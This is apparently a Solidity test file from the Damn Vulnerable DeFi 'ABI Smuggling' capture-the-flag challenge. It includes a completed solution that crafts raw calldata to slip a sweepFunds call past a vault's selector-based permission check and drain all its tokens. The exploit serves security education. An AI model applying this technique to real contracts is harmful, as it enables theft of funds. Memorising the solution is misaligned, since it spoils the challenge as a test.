-
Notifications
You must be signed in to change notification settings - Fork 115
/
ABISmuggling.t.sol
98 lines (82 loc) · 3.31 KB
/
ABISmuggling.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {SelfAuthorizedVault, AuthorizedExecutor, IERC20} from "../../src/abi-smuggling/SelfAuthorizedVault.sol";
contract ABISmugglingChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
uint256 constant VAULT_TOKEN_BALANCE = 1_000_000e18;
DamnValuableToken token;
SelfAuthorizedVault vault;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy token
token = new DamnValuableToken();
// Deploy vault
vault = new SelfAuthorizedVault();
// Set permissions in the vault
bytes32 deployerPermission = vault.getActionId(hex"85fb709d", deployer, address(vault));
bytes32 playerPermission = vault.getActionId(hex"d9caed12", player, address(vault));
bytes32[] memory permissions = new bytes32[](2);
permissions[0] = deployerPermission;
permissions[1] = playerPermission;
vault.setPermissions(permissions);
// Fund the vault with tokens
token.transfer(address(vault), VAULT_TOKEN_BALANCE);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public {
// Vault is initialized
assertGt(vault.getLastWithdrawalTimestamp(), 0);
assertTrue(vault.initialized());
// Token balances are correct
assertEq(token.balanceOf(address(vault)), VAULT_TOKEN_BALANCE);
assertEq(token.balanceOf(player), 0);
// Cannot call Vault directly
vm.expectRevert(SelfAuthorizedVault.CallerNotAllowed.selector);
vault.sweepFunds(deployer, IERC20(address(token)));
vm.prank(player);
vm.expectRevert(SelfAuthorizedVault.CallerNotAllowed.selector);
vault.withdraw(address(token), player, 1e18);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_abiSmuggling() public checkSolvedByPlayer {
bytes memory sweepFundsCallData = abi.encodePacked(vault.sweepFunds.selector, uint256(uint160(recovery)), uint256(uint160(address(token))));
bytes memory executeCallData = abi.encodePacked(
vault.execute.selector,
uint256(uint160(address(vault))),
uint256(0x64),
uint256(0),
bytes4(hex"d9caed12"),
sweepFundsCallData.length,
sweepFundsCallData
);
(bool success, ) = address(vault).call(executeCallData);
require(success, "Call failed");
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// All tokens taken from the vault and deposited into the designated recovery account
assertEq(token.balanceOf(address(vault)), 0, "Vault still has tokens");
assertEq(token.balanceOf(recovery), VAULT_TOKEN_BALANCE, "Not enough tokens in recovery account");
}
}